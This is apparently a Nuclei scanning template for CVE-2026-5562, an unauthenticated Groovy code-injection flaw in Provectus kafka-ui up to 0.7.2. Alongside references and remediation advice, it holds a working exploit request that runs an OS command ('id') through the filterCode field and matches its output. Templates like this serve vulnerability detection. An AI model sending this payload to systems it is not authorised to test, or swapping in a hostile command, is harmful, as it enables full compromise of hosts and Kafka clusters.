Provectus kafka-ui <=0.7.2 - Remote Code Execution

id: CVE-2026-5562

info:
  name: Provectus kafka-ui <=0.7.2 - Remote Code Execution
  author: christianfl,0xNayel
  severity: critical
  description: |
    Provectus kafka-ui versions 0.7.0 through 0.7.2 are vulnerable to code injection in the `/api/smartfilters/testexecutions` endpoint. The `filterCode` parameter is evaluated as a Groovy expression without sandboxing, allowing an unauthenticated attacker to execute arbitrary code and operating-system commands on the host.
  impact: |
    Successful exploitation grants unauthenticated remote code execution in the context of the kafka-ui process, leading to full compromise of the host and the connected Kafka clusters.
  remediation: |
    Provectus kafka-ui is end-of-life and no patched release exists (0.7.2 is the final version). Migrate to the maintained kafbat/kafka-ui fork, and in the meantime restrict network access to the interface and place it behind authentication.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5562
    - https://vuldb.com/?id.355332
    - https://github.com/provectus/kafka-ui
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5562
    epss-score: 0.03352
    epss-percentile: 0.88311
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: provectus
    product: kafka-ui
    shodan-query: http.title:"UI for Apache Kafka"
    fofa-query: title="UI for Apache Kafka"
  tags: cve,cve2026,rce,kafka-ui,provectus,groovy,injection,intrusive

variables:
  cmd: "id"
  marker: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /api/smartfilters/testexecutions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {
          "filterCode": "throw new Exception('{{marker}}_' + '{{cmd}}'.execute().text)",
          "key": "k",
          "value": "v",
          "offset": 0,
          "partition": 0,
          "timestampMs": 0
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}_"

      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "{{marker}}_(uid=[0-9]+\\([a-z0-9_-]+\\)[^\"\\\\]*)"
# digest: 490a0046304402207c17b27b7633f365a9df728f98b271eb7f10c24b0ba263af718790b3f83034e1022017ed67ed495b8a0fa5312a47f3219474baa4f625b58fb0137be8b16cb69ace6c:922c64590222798bb761d5b6d8e72950